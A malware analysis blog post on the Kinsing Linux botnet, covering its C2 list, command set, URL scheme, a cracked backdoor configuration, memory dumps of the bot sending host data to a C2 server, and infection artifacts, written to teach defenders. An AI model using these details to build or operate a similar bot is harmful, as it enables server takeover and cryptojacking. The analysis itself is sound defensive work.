Thursday, November 12, 2026

MMD-071-2026 KinsingBot a "bad-bad"-designed Linux botnet a while ago.. until recent.

Part I — Malware analysis

《 1. Introduction 》

Executive summary. Linux/Kinsing is a Go-written bot that gives its operator remote command execution, a SOCKS proxy, an on-demand backdoor, self-update, mass-scanning, Redis brute-forcing and SSH-key based worm spreading. A Monero miner, installer/uninstaller scripts and cron jobs are only its companions: the bot is the lethal part. One weak Redis password or one leaked SSH key is enough to start an infection that spreads to every trusted server, turns off logging, firewall and cloud security agents, and stays persistent through cron. Must-do: (1) never expose Redis/Docker APIs; (2) no passphrase-less SSH keys on servers; (3) alert when a security agent or syslog stops, and hunt with the signatures published with this post.
Changelog: v1 2026-11-11 first publication · v4 IR/DFIR playbook + timeline · v5 2026-11-12: kinsing v31 "Dev 2066" chapter, static analysis of build a71ad3 (the build installed by spr.sh), builds comparison, Diamond model, IOC additions, detection content (YARA/Sigma/Snort/Suricata/osquery/STIX), responders summary. · OPSEC: all lab IPs, user names, host names and test-bot UUIDs are camouflaged as x.x.x.x / xxxx; all IOC IPs are masked as w[.]x.y[.]z; every artifact marked [ITW] was spotted in the wild attack.
Read & use this knowledge with caution, this post is a Linux threat analysis education material

This is a public threat basis, there is no specific cases I handled is in relation to this threat, I have been kept following its progress for 4-5 years, and I think it is a good time to inform widely how dangerous the well-planned Linux malware/botnet would look like in this post. It has been more than six years since I finalized the first analysis and following it afterward. I have made sure that the botnet infrastructure described here is mostly inactive now, bare to old IOC for that is the safely state to share. And I think it is a good time for all of us to look back at how rude this malware was.

For learning and research reference, this material is a good example of how a Linux malware can do damage at multiple levels through worm-like infection stages — from one weak Redis or one leaked SSH key to a whole fleet of servers mining for somebody else.

Please do not use this report for bad purposes. The malicious scripts in this post are shown as images on purpose; they are here to be read and understood, not to be used nor run.

Linux/Kinsing is a Go-written ELF bot with remote command execution, coded by an actor who calls himself "nook" and operated by the SystemTen gang. The bot is mainly used to plant a tweaked XMRig miner, but it does much more than mining: encrypted C2 tasking, an on-demand backdoor, a SOCKS proxy, mass-scanning, Redis AUTH brute-forcing and SSH-key based spreading.

The infrastructure in this post is from the 2019–2020 case and is dead now, but the family is not. Kinsing (also tracked as H2Miner) kept evolving after this analysis, for example targeting Apache Tomcat servers in 2024 (Tenable) and running campaigns against companies in Russia in 2025 (F6 on Habr). So the techniques you will learn here are still relevant for defenders today.

■ How to read this post

  • The case was reversed with radare2 and confirmed with syscall tracing (strace) and memory forensics on a recorded test infection.
  • Gray ▸ lines are my original analysis notes, kept word for word.
  • Dark code boxes hold dumps and indicators; the lines that matter most are highlighted in red.
  • What to learn here boxes explain, for students, what you should take away from each piece of data.
  • The chapters follow the attack from the binary → the network → the infection steps → spreading → detection.
[EDU] What to learn here
  • Never run real samples outside an isolated lab (no bridged network, snapshots ready, no real credentials or SSH keys inside).
  • A good analysis combines static reversing (what the code can do) with dynamic tracing and forensics (what it actually did). This post uses both.

《 2. Threat information and the bot scheme 》

// Threat information/bot scheme //
Read & use this knowledge with caution, this post is a Linux threat analysis education material

This chapter puts the whole case in one place: what this bot is, who coded it, where Patient-0 got it from and why it is dangerous. Every point is detailed in the later chapters.

SystemTen used new ELF bot with RCE function for mining support

They called this bot as "kinsing" coded by "nook"

The initial script installer & miner ELF file were embedded

It is an evolution moniker of this bot: hxxps://imgur.com/a/H7YuWuj

Case detection dated: Dec, 2019. Threat origin: PRC/China

Patient0 had infection from pastebin at hxxps://pastebin.com/f4fYBPLe

This bot has a built in function to scan+infect a weak auth redis system.

The massscan fucntion is downloading ssh scanner tool to be executing from the bot RCE.

RCE and backdoor function is lethal to the system infected by suid0, and-

critical infrastructure server's data can be posted to the C2 by backdoor or HTTP in encrypted form.

Severity: High.

The evolution of the bot's moniker is recorded here: imgur.com/a/H7YuWuj.

[EDU] What to learn here
  • Start every report with a short executive summary: what the threat is, how it gets in, what it does and how bad it is. Busy readers may read only this part.
  • Note the initial vector (here a Pastebin-hosted script) separately from the capabilities (RCE, scanning, brute-force, backdoor). Defenders need both.

《 3. Binary information and major functionality 》

The sample is a big (16 MB+) statically compiled Go 1.13 ELF for x86-64, stripped. Go static binaries are fat because the whole runtime and every imported library are linked in. Most of the size is library code; the malicious logic sits in the main.* package.

▸ Binary information
MD5 6bffa50350be7234071814181277ae79 (VT has sample, not exclusive)
SHA-1 2cb455f23b352e27b1f2f60abd61b444d15fafb0
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Size 16.28 MB (17072128 bytes)
GoLang 1.13 static compiled ELF,
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • Always record the hashes and the file output first. They are your pivot points for VirusTotal, sandboxes and colleagues. (Adding SHA-256 is today's standard.)
  • "statically linked, stripped" means there are no dynamic imports to read. For Go, function names still survive in .gopclntab, so use Go-aware tooling (radare2 Go analysis, GoReSym, redress).
  • A 16 MB binary for a "simple bot" is a hint that something is embedded inside. Later we find a miner and scripts packed in it.
▸ Major Functionality:
  • Embedding miner binary and shell script installer
  • Networking is on HTTP, supporting http with proxy and socks5
  • File creation, file deletion, file dropping, file downloading,
  • Receiving command from C2 on encrypted HTTP communication & execution them.
  • Scanning redis servers, bruteforce them
  • Having Remote Command Execution to OS command or execution on shellscripts.
  • Have a self updating scheme.
  • Have the persistence installer scheme, persistent on crontab
  • Have specific commands for miner infection and management purpose.
  • The bot downloads and drops scripts that can uninstall legit systems and can replace them with malicious contents.
  • The bot C2 is more than 4.
  • The callback IP addresses for the bot and script installers is more than 5.
  • Infected machine data is sent to C2 via HTTP header and bot sent HTTP data encrypted traffic.
  • The backconnect command also exists for reverse shell purpose.
  • Has the backdoor function
[EDU] What to learn here
  • Turn a capability list like this into questions for your analysis: where is the code for each item, and what evidence (traffic, files, processes) does each one leave?
  • Several items here (crontab persistence, uninstalling security agents, killing other miners) are typical of the Linux cryptojacking ecosystem, not only of kinsing.

《 4. C2, protocol and network indicators 》

The C2 list is hardcoded in the binary as one string separated by ;hxxp://. The bot simply tries the C2s one by one over plain HTTP on tcp/80.

▸ C2: (in bot)
45[.]10.88[.]102:80
91[.]215.169[.]111:80
139[.]99.50[.]255:80
46[.]243.253[.]167:80
195[.]123.220[.]193:80
[ITW] Artifact spotted in the wild attack
▸ saved in this part
[0x01193247 [Xadvc]3 22% 2304 kinsing]> prx @ hit2_1
- offset -   0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF
0x01193247  45[.]10.88[.]102;hxxp://91[.]215.169[.]111;hxxp://139[.]99.50[.]255;hxxp://4
0x01193287  6[.]243.253[.]167;hxxp://195[.]123.220[.]193............................
0x011932c7  ................................................................
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • Searching strings with radare2 (/ hxxp:// and then printing the hit) is often the fastest way to find C2s in a bot. Notice how the list is packed into one string.
  • Five C2s give redundancy: blocking only one of them does not stop the bot. Always collect the full list.

■ Hardcoded C2 list of another build (a71ad3, confirmed in the sample)

The same C2 string exists in the build a71ad3167f9402d8c5388910862b16ae (the one that spr.sh installs). Four of the five C2s are the same as above; the fourth slot changed to a new address. The view below is from the analysis notes; the bytes were re-confirmed in the sample at file offset 0xd349d4 (virtual address 0x11349d4).

[0x0113497f [Xadvc]3 22% 2304 kinsing]> prx @ entry0+13471951 # 0x113497f
- offset -   0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF
0x0113497f  ................................................................
0x011349bf  .hxxp://45[.]10.88[.]102;hxxp://91[.]215.169[.]111;hxxp://139[.]99.50[.]255;
0x011349ff  hxxp://193[.]33.87[.]220;hxxp://195[.]123.220[.]193.....................
0x01134a3f  ................................................................
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • When the same C2 string is found in several builds with one slot changed, you can track how the operator rotates infrastructure while keeping the code.
  • Always record both the file offset and the virtual address of an artifact: tools differ (radare2 shows virtual addresses, strings -t x shows file offsets).
▸ Protocol
HTTP/1.1, port tcp/80
[ITW] Artifact spotted in the wild attack
▸ user-agent
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
[ITW] Artifact spotted in the wild attack
▸ http request header will contain the infected machine info:
Arch: {CPU Architecture}
Cores: {CPU Core numbers}
Mem: {Active allocable memory}
Os: {linux}
Osname: {distribution info}
Osversion: {OS version}
Root: {true|false}
Uuid: {BOT UUID}
Version: {28}
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • The User-Agent pretends to be Chrome 78 on Windows, which is a strange choice for a Linux server bot. This kind of mismatch is a classic network detection idea.
  • The custom headers (Arch, Cores, Mem, Os, Uuid, Version) are sent in clear text. They make a very reliable IDS signature even though the body is encrypted.
▸ C2 comm data
all traffic data comm are encrypted with RSA, private key is in the bot binary
[EDU] What to learn here
  • When the private key is inside the bot, the "encryption" protects the operator only from casual eyes. An analyst who extracts the key can decrypt the traffic. The key is shown in the captured traffic chapter.
▸ related outgoing traffic IP:(from embeded & downloaded scripts, included attacker's made pool embedded miner, note: some are changed and gone now)
embeded, and downloaded scripts:
  217[.]12.221[.]244:80
  195[.]3.146[.]118:80

miner pools set by the bad actor:
  stratum+tcp: // 45[.]89.230[.]240:80
  stratum+tcp: // 178[.]170.189[.]5:80
  stratum+tcp: // 92[.]63.99[.]17:80
[ITW] Artifact spotted in the wild attack
▸ miner ID
pass x
42J8CF9sQoP9pMbvtcLgTxdA2KN4ZMUVWJk6HJDWzixDLmU2Ar47PUNS5XHv4Kmfdh8aA9fbZmKHwfmFo8Wup8YtS5Kdqh2
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • Mining pools and a wallet address tie infections together. The same wallet across many cases means the same operator, which is useful for clustering in CTI.
  • Note the trick of running stratum over port 80 so the traffic blends in with normal web traffic and passes simple firewalls.

《 5. Bot commands and C2 URL scheme 》

Each C2 task arrives as a command keyword, and each keyword maps to a Go function in the main package. The table below pairs each original function with the command that triggers it.

▸ bot commands
BOT FUNCTIONS() ,   BOT COMMANDS
-------------------------------
runTaskWithHttp()  // "request"
runTaskWithScan()  // "scan"
updateTask()       // "update"
startCmd()         // "exec"
execTaskOut()      // "execoutput"
runTask(),tcpTask()// "tcp"
masscan()          // "massscan"
backconnect()      // "backconn"
socks()            // "socks"
makeClient()       // "up"
redisBrute()       // redis_brute
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • Mapping command → function is the core of bot reversing. Once you have this table you can explain every capability and predict the traffic for each command.
▸ Some of bot actions fetched C2 traffic commands are actutally URLs the POST'ed commands on "s" and "o" which is sending data to C2 "h, get, hers" etc are using HTTP get spre.sh, al.sh, cron.sh and kinsing are downloading asked files
hxxp://{C2-IP}/s        => POST initial infection data
hxxp://{C2-IP}/h        => reply "c." (up)
hxxp://{C2-IP}/get      => receiving encrypted command
hxxp://{C2-IP}/hers     => UNKNOWN
hxxp://{C2-IP}/mg       => UNKNOWN
hxxp://{C2-IP}2/o       => post encrypted DATA
hxxp://{C2-IP}/spre.sh  => updater for kinsing installer script
hxxp://{C2-IP}/al.sh    => uninstaller for services like quartz etc
hxxp://{C2-IP}/cron.sh  => persistence installer
hxxp://{C2-IP}/kinsing  => update bot binary url
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • Short URL paths like /s, /h, /get and /o are the bot's API. They are great for hunting in proxy logs: look for the paths together with the custom headers from the network chapter.
  • "UNKNOWN" entries are honest analysis: write down what you could not confirm instead of guessing. That is the check-and-recheck habit.

《 6. Captured C2 traffic and the embedded RSA key 》

The snippets below are memory captures taken while the bot was running, which is the forensic view of the same traffic. They show that the clear-text HTTP header leaks the victim's profile, while the body is encrypted.

▸ Snip of bot used send traffic command in forensics action (request to install crontab)
(request)
memory dump: GET /cron.sh request (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
memory dump: GET /cron.sh reply (cron installer) (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • Finding the full downloaded script inside process memory proves it was fetched and handled by the bot. That is stronger evidence than a URL in the binary.
  • Look at the reply header too: Server: nginx/1.14.2 and Last-Modified help you fingerprint and date the attacker's server.
(post)
0xc000185000  504f 5354 202f 6f20 4854 5450 2f31 2e31 0d0a 486f  POST /o HTTP/1.1..Ho
0xc000185014  7374 3a20 3931 2e32 3135 2e31 3639 2e31 3131 0d0a  st: 91[.]215.169[.]111..
0xc000185028  5573 6572 2d41 6765 6e74 3a20 4d6f 7a69 6c6c 612f  User-Agent: Mozilla/
0xc00018503c  352e 3020 2857 696e 646f 7773 204e 5420 3130 2e30  5.0 (Windows NT 10.0
0xc000185050  3b20 5769 6e36 343b 2078 3634 2920 4170 706c 6557  ; Win64; x64) AppleW
0xc000185064  6562 4b69 742f 3533 372e 3336 2028 4b48 544d 4c2c  ebKit/537.36 (KHTML,
0xc000185078  206c 696b 6520 4765 636b 6f29 2043 6872 6f6d 652f   like Gecko) Chrome/
0xc00018508c  3738 2e30 2e33 3930 342e 3130 3820 5361 6661 7269  78.0.3904.108 Safari
0xc0001850a0  2f35 3337 2e33 360d 0a43 6f6e 7465 6e74 2d4c 656e  /537.36..Content-Len
0xc0001850b4  6774 683a 2032 300d 0a41 7263 683a 2061 6d64 3634  gth: 20..Arch: amd64
0xc0001850c8  0d0a 436f 6e74 656e 742d 5479 7065 3a20 6170 706c  ..Content-Type: appl
0xc0001850dc  6963 6174 696f 6e2f 6f63 7465 742d 7374 7265 616d  ication/octet-stream
0xc0001850f0  0d0a 436f 7265 733a 2031 0d0a 4d65 6d3a 2032 3434  ..Cores: 1..Mem: 244
0xc000185104  0d0a 4f73 3a20 6c69 6e75 780d 0a4f 736e 616d 653a  ..Os: linux..Osname:
0xc000185118  2064 6562 6961 6e0d 0a4f 7376 6572 7369 6f6e 3a20   debian..Osversion: 
0xc00018512c  372e 3131 0d0a 526f 6f74 3a20 6661 6c73 650d 0a55  7.11..Root: false..U
0xc000185140  7569 643a 2078 7878 7878 7878 782d 7878 7878 2d78  uid: xxxxxxxx-xxxx-x
0xc000185154  7878 782d 7878 7878 2d78 7878 7878 7878 7878 7878  xxx-xxxx-xxxxxxxxxxx
0xc000185168  780d 0a56 6572 7369 6f6e 3a20 3238 0d0a 4163 6365  x..Version: 28..Acce
0xc00018517c  7074 2d45 6e63 6f64 696e 673a 2067 7a69 700d 0a0d  pt-Encoding: gzip...
0xc000185190  0a57 7a68 50cb 0cdf 76fb 128e d736 14b3 4aa1 2953  .WzhP...v....6..J.)S
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • Read the hexdump columns: offset | hex bytes | ASCII. The ASCII column shows the victim profile headers (Arch amd64, 1 core, Debian 7.11, not root), followed by the encrypted body.
(receiving instruction)
0xc000184000  4854 5450 2f31 2e31 2032 3030 204f 4b0d 0a53 6572  HTTP/1.1 200 OK..Ser
0xc000184014  7665 723a 206e 6769 6e78 2f31 2e31 302e 330d 0a44  ver: nginx/1.10.3..D
0xc000184028  6174 653a 2053 756e 2c20 3136 2046 6562 2032 3032  ate: Sun, 16 Feb 202
0xc00018403c  3020 3131 3a33 323a 3432 2047 4d54 0d0a 436f 6e74  0 11:32:42 GMT..Cont
0xc000184050  656e 742d 5479 7065 3a20 7465 7874 2f70 6c61 696e  ent-Type: text/plain
0xc000184064  3b20 6368 6172 7365 743d 7574 662d 380d 0a43 6f6e  ; charset=utf-8..Con
0xc000184078  7465 6e74 2d4c 656e 6774 683a 2032 0d0a 436f 6e6e  tent-Length: 2..Conn
0xc00018408c  6563 7469 6f6e 3a20 6b65 6570 2d61 6c69 7665 0d0a  ection: keep-alive..
0xc0001840a0  0d0a 6313 577a 6850 cb0c df76 fb12 8ec7 2e10 b74a  ..c.WzhP...v.......J
0xc0001840b4  a129 158e 17bc b9af b2ed e55c c645 9518 4e85 78da  .).........\.E..N.x.
0xc0001840c8  9b95 2511 fe3f 87ae 13ac edbe baac 7270 04b4 2f62  ..%..?........rp../b
0xc0001840dc  d8b5 2f8f 8680 9485 e0c9 5900 ee9f 26c0 fe2c 6f9b  ../.......Y...&..,o.
0xc0001840f0  0d93 333b fbef ee7e 72d2 b8c4 7d4d 1716 5732 9f01  ..3;...~r...}M..W2..
0xc000184104  c559 4064 d108 514a d02e eed5 3b9f 72b1 a212 bf2e  .Y@d..QJ....;.r.....
0xc000184118  ee51 5a64 68ac 1b93 ac38 2001 b802 0fc0 4806 c1b1  .QZdh....8 .....H...
0xc00018412c  f982 6b00 0000 0000 0000 0000 0000 0000 0000 0000  ..k.
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • Content-Type: text/plain on an encrypted binary blob is another anomaly worth a detection rule.
▸ The bot is using RSA private key for C2 communication
RSA private key found in bot memory (malicious code shown as image for safety)
[!] Malicious script shown as an image on purpose, so it cannot be copy-pasted or picked up as live code.
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • Hardcoded keys are a gift to analysts. With this key the C2 commands can be decrypted, which is exactly how the backdoor configuration was recovered.
  • Memory forensics often recovers secrets that never touch the disk. Dump the process memory before you kill the process.

《 7. Bot overall design 》

This is the whole picture in one textual diagram. Read it from the top-left: the installer (or the Pastebin script) brings in the kinsing ELF; kinsing drops its embedded script and its embedded miner; the C2 command actions then branch out into script execution, cron persistence, mass-scanning, killing services and Redis AUTH brute-forcing. Finally spre.sh loops back to the installer for self-updating.

▸ BOT OVERALL DESIGN
kinsing — BOT OVERALL DESIGN
 +--------------------+
 | kinsing installer/ |    +----------------------------------------<---------------------+
 | pastebin script    |    |                                                              |
 +--------+-----------+    |                                                              |
          |                v                                                              |
          |   +------------------+                                                        |
          +-> |  kinsing ELF     |                                                        |
 +--------->  +------------------+        +----------------+                              |
 |            |  embedded script +------> |  /tmp/.ICEd-uni+---+                          |
 |            +------------------+        +----------------+   |                          |
 |            |                  |        +----------------+   |  +------------------+    |
 |            |  embedded ELF    +------> |  /tmp/kdevtmpfs|   +->|  downloaded      |    |
 |            +--------+---------+        |                |      |  spre.sh (updater|-->-+
 |                     |                  +----------------+      +------------------+
 |                     |
 |                     |              +-----------------------------+      +-------------------+
 |                     |              |   C2 bot command's actions  |----> |C2 script execution|
 |                     +------------> |-----------------------------|      +-------------------+
 |                                    |                             |
 |                                    |   hxxp://{C2-IP}/s          |      +-------------------+
 |                                    |   hxxp://{C2-IP}/h          |----> |cron installer/sh  |
 |                                    |   hxxp://{C2-IP}/get        |      +-------------------+
 |                                    |   hxxp://{C2-IP}/hers       |      +-------------------+
 +-----------<------------------------|   hxxp://{C2-IP}2/o         |----> | massscan script   |
                                      |   hxxp://{C2-IP}/spre.sh    |      +-------------------+
                                      |   hxxp://{C2-IP}/al.sh      |      +-------------------+
                                      |   hxxp://{C2-IP}/cron.sh    |----> |svc uninstaller/sh |
                                      |   hxxp://{C2-IP}/kinsing    |      +-------------------+
                                      |                             |      +-------------------+
                                      |                             |----> | Redis access brute|
                                      +-----------------------------+      +-------------------+
[ITW] Artifact spotted in the wild attack
Legend: ■ boxes   ■ flow   ■ C2 URL actions   ■ dropped files   ■ components
[EDU] What to learn here
  • Draw a diagram like this before you write the report. It forces you to understand how the parts connect, and readers grasp a design far faster from a picture than from text.
  • Notice the two loops: the C2 → bot loop (tasking) and the spre.sh → installer loop (self-update). Loops like these make malware resilient, because cleaning one part is not enough.

《 8. Full list of kinsing main functions 》

These are the original main.* function names recovered from the stripped Go binary, with their addresses. Go keeps function names in .gopclntab even when the binary is stripped, which is why reversing Go bots is easier than it first looks.

▸ Full list of original main functions used by kinsing bot
doTask                          =   0x0790B70
main                            =   0x0792560
redisBrute                      =   0x07A1A60
DownloadFile                    =   0x0799B40
Hosts                           =   0x07A2180
RC4                             =   0x079A270
RandStringRunes                 =   0x07A2080
addResult                       =   0x079B1F0
backconnect                     =   0x079F2F0
checkHealth                     =   0x0798E80
connectForSocks                 =   0x079B420
contains                        =   0x07A2480
copyFileContents                =   0x0795A70
doRequestWithTooManyOpenFiles   =   0x079A420
downloadAndExecute              =   0x07A1A10
encStruct                       =   0x0799A90
execTaskOut                     =   0x079C3B0
getMinerPid                     =   0x0798A40
getOrCreateListForTaskResult    =   0x079B290
getOrCreateUuid                 =   0x079B7A0
getTargets                      =   0x07969B0
getTask                         =   0x0796530
getWriteableDir                 =   0x0795C40
hash_file_md5                   =   0x07A2540
healthChecker                   =   0x07939C0
init                            =   0x07A49A0
init_0                          =   0x0792380
isMinerRunning                  =   0x0793DA0
makeClient                      =   0x079A0C0
masscan                         =   0x079E5A0
minRun                          =   0x0794290
minerRunningCheck               =   0x0793B20
move                            =   0x079B980
request                         =   0x079F340
resultSender                    =   0x079AD80
runTask                         =   0x079BB00
runTaskWithHttp                 =   0x079C400
runTaskWithScan                 =   0x079CCD0
runcmd                          =   0x0790F60
sendMinerPid                    =   0x0798600
sendResult                      =   0x0797A10
sendSocks                       =   0x0798130
setExecOutput                   =   0x07995E0
setLog                          =   0x0799160
socks                           =   0x079F2A0
startCmd                        =   0x07914A0
startCmdWithOutputSingle        =   0x0791960
startSocks                      =   0x0795E40
taskScan                        =   0x079E2A0
taskWithHttpWorker              =   0x079C9B0
taskWithScanWorker              =   0x079D070
taskWorker                      =   0x079C0A0
tcpTask                         =   0x07A0A50
updateTask                      =   0x079D390
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • Group the names by purpose: tasking (getTask, runTask*), mining (minRun, isMinerRunning), spreading (masscan, redisBrute), remote access (backconnect, socks) and housekeeping (healthChecker, getOrCreateUuid). This grouping becomes your report outline.
  • Interesting names to read first: RC4 and encStruct (crypto), and getWriteableDir (where it drops files).

《 9. Infection state (recorded test) 》

// Infection state (recorded test)//

Recorded test infection. The lsof view shows the lock file, the backdoor socket already LISTENing, the C2 sessions and a deleted work file under /tmp/.ICEd-unix/. The process tree shows kinsing re-forked and detached, living like a daemon under init.

kinsing   2721 xxxx  cwd    DIR    8,1     4096  397369 /home/test
kinsing   2721 xxxx  rtd    DIR    8,1     4096       2 /
kinsing   2721 xxxx  txt    REG    8,1 17072128  396829 /home/test/kinsing
kinsing   2721 xxxx    0r   CHR    1,3      0t0    1205 /dev/null
kinsing   2721 xxxx    1w   CHR    1,3      0t0    1205 /dev/null
kinsing   2721 xxxx    2w   CHR    1,3      0t0    1205 /dev/null
kinsing   2721 xxxx    3uW  REG    0,15       0    5995 /run/lock/linux.lock
kinsing   2721 xxxx    4u   0000    0,9       0    1203 anon_inode
kinsing   2721 xxxx 7r IPv6 6357 0t0 TCP *:31652 (LISTEN)
kinsing   2721 xxxx    5r   CHR    1,9      0t0    1210 /dev/urandom
kinsing   2721 xxxx    6u  IPv4   6029      0t0     TCP x.x.x.x:42646->91[.]215.169[.]111:80 (CLOSE_WAIT)
kinsing   2721 xxxx    9r  IPv4   6671      0t0     TCP x.x.x.x:42654->91[.]215.169[.]111:80 (ESTABLISHED)
kinsing   2721 xxxx   12r   REG    8,1        4 1310783 /tmp/.ICEd-unix/259292916 (deleted)
kinsing   2721 xxxx   13u  IPv4   6515      0t0     TCP x.x.x.x:50261->217[.]12.221[.]244:80 (ESTABLISHED)
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • lsof -p <pid> is one of the best live-response commands on Linux. In one view you get files, sockets, the lock file and even deleted files that are still open.
  • A file marked (deleted) can still be recovered from /proc/<pid>/fd/<n> while the process runs. Grab it before you kill the process!
process tree after infection
init
  ├─udevd --daemon
  │   ├─udevd --daemon
  ├─rpcbind -w
  ├─rpc.statd
  ├─rpc.idmapd
  ├─rsyslogd -c5
  │   └─3*[{rsyslogd}]
  ├─acpid
  ├─getty 38400 tty1
  ├─getty 38400 tty2
  ├─getty 38400 tty3
  ├─getty 38400 tty4
  ├─getty 38400 tty5
  ├─getty 38400 tty6
  |
  ├─kinsing           <==== // after re-forked & detached from-
  │   └─5*[{kinsing]        // environment, runs like daemon
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • A process that is a direct child of init/systemd, not attached to any terminal and named like nothing you installed deserves a look. Daemonizing hides the process's origin, but not its parent.

《 10. Infrastructure used by the attacker 》

// Infrastructure used by attacker//

All IPs found in the bot, its scripts and its miner configuration, with reverse DNS, ASN, prefix, AS name and country. The C2 and download servers are spread over hosting in UA, RU, NL, FR and LV.

45[.]10.88[.]102 | takewyn4.com.ntup.network. |48693 | 45[.]10.88[.]0/23 | NTSERVICE-AS | UA
91[.]215.169[.]111 | bh63797.dnsrus.net. |49693 | 91[.]215.168[.]0/22 | BEST-HOSTER | RU |
139[.]99.50[.]255 | ip255.ip-139-99-50.net. |16276 | 139[.]99.0[.]0/17 | OVH | FR |
46[.]243.253[.]167 |  |58272 | 46[.]243.253[.]0/24 | LEADERTELECOMBV-AS | NL |
195[.]123.220[.]193 | vds-426960.hosted-by-itldc.com. |21100 | 195[.]123.216[.]0/21 | ITLDC-NL | UA |
217[.]12.221[.]244 | vds-448534.hosted-by-itldc.com. |15626 | 217[.]12.220[.]0/22 | ITLAS | UA |
195[.]3.146[.]118 |  |41390 | 195[.]3.144[.]0/22 | RN-DATA- | LV |
45[.]89.230[.]240 |  |51659 | 45[.]89.230[.]0/24 | ASBAXET | RU |
178[.]170.189[.]5 |  |58272 | 178[.]170.189[.]0/24 | LEADERTELECOMBV-AS | NL |
92[.]63.99[.]17 | k0miza2.vps. |29182 | 92[.]63.96[.]0/21 | THEFIRST-AS | RU |
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • Enrich every IP with ASN, prefix and hosting provider. Patterns (cheap VPS providers, the same AS used twice, such as AS58272 here) help you find more attacker servers.
  • Infrastructure changes quickly. Always record the date you observed it, and re-check before blocking.

■ Additional infrastructure seen with later builds and campaigns (2020-04 .. 2020-08)

IP (masked)RoleSeen inNotes
213[.]32.10[.]148v31 C2 (single C2, /mg /ms /get)v31 "Dev 2066" (Jul–Aug 2020)nginx/1.14.2; decrypted from hex data in the bot
5[.]23.52[.]131v31 miner pool connection (tcp/80)v31 lsof / straceconnected by the dropped miner process
193[.]33.87[.]220C2 (4th slot of the hardcoded list)build a71ad3confirmed in the sample
45[.]153.231[.]180download server: kinsing, kinsing2, t, LifExp.classVirusTotal relations 2020-04-28 .. 2020-05-06a Java class named LifExp.class suggests an exploit payload (not verified here)
95[.]142.40[.]254download server: kinsing2, t, t.sh; served an ELF named kinsingVirusTotal relations 2020-04-28 .. 2020-05-06AS210079 EuroByte LLC, 95[.]142.40[.]0/22 (from VirusTotal)
VirusTotal relations of a kinsing download server (2020-04/05)
[ITW] Infrastructure spotted in the wild attack (VirusTotal relations)
VirusTotal relations of a kinsing download server, AS210079 (2020-04/05)
[ITW] Infrastructure spotted in the wild attack (VirusTotal relations)
[EDU] What to learn here
  • Pivot on file names (kinsing, kinsing2, t.sh) in VirusTotal or passive DNS relations: the operator reuses names, so one known server leads you to others.
  • A non-ELF artifact on a bot download server (here a Java .class) is a hint about the initial-access exploit used in that wave; verify it before you write it as fact.

《 11. The backdoor function 》

// the backdoor function //

The backdoor is not always on. It is opened on demand by the C2, and the port and password are chosen by the attacker for each session.

▸ socket opened at TCP binding
kinsing 2721 xxxx 7r IPv6 6357 0t0 TCP *:31652 (LISTEN)
[ITW] Artifact spotted in the wild attack
▸ checking
$ nc -v -v -v -z localhost 31652
localhost [127[.]0.0[.]1] 31652 (?) open
scan
test
sent 10, rcvd 0
$
[ITW] Artifact spotted in the wild attack
▸ backdoor, configuration cracked: :)
{
   {
    "Id":516,
    "Data":""
    }
      "Pass":"qmjiHfuW",
      "Port":31652
} keep-alive 31652
[ITW] Artifact spotted in the wild attack
this backdoor is as the result of the function backconnect.
the trigger of the backdoor is the command from C2 called backconn.
the attacker will send the encrypted REST API and that will open the backdoor in the client.
the port number is depend on the attacker, no significant port is open.
Decrypted command from c2 will look like below:
{"Id":504,"Data":""}Pass":"SkMNRTlf","Port":31105}
[ITW] Artifact spotted in the wild attack
it will include the port number and the password backdoor.
[EDU] What to learn here
  • A random high port opening suddenly (here 31652) on a server is a strong signal. Baseline the listening ports on your servers and alert on new ones.
  • Testing the port with nc safely confirmed it was open. Cracking the config then explained why it opened. Use both: observe, then explain.

《 12. How the process works, step by step 》

// How the process works in steps //

Now let's follow the infection step by step, as recorded by syscall tracing and confirmed by memory forensics. Each sub-section follows the order in which things happen on the infected box.

■ 11.1 Lock file, work directory, dropped files and host profiling

▸ lock file:
/var/lock/linux.lock
[ITW] Artifact spotted in the wild attack
▸ temp path:
/tmp/.ICEd-unix/
[ITW] Artifact spotted in the wild attack
▸ drops uuid, miner and miner botnet scripts
/tmp/.ICEd-unix/uuid // bit ID (uuid)
/tmp/.ICEd-unix/{random} // shell scriptinstaller placeholder/work files
/tmp/kdevtmpfs (miner)
[ITW] Artifact spotted in the wild attack
▸ info-reading
/etc//localtime
/proc/stat
/usr/bin/getconf -a
/proc/meminfo
uuid
/etc/lsb-release
/usr/local/bin/lsb_release
/usr/bin/lsb_release
/proc/meminfo
/proc/filesystems",
[ITW] Artifact spotted in the wild attack
[EDU] What to learn here
  • A lock file stops two copies of the bot from running at once. For defenders it is also a cheap host IOC.
  • /tmp/.ICEd-unix/ imitates the legitimate X11 directory /tmp/.ICE-unix/, and the miner name kdevtmpfsi imitates the kernel's kdevtmpfs. One letter of difference is a classic masquerading trick.
▸ read all installed python tools & read package/arch/info etc
readlink("/usr/bin/python", "python2.7"..., 4096)
/usr/bin/python2.7
/usr/bin/Modules/Setup"
/usr/bin/lib/python2.7/os.py"
/usr/bin/lib/python2.7/lib-dynload"
 :
execve("/usr/local/bin/dpkg-query"
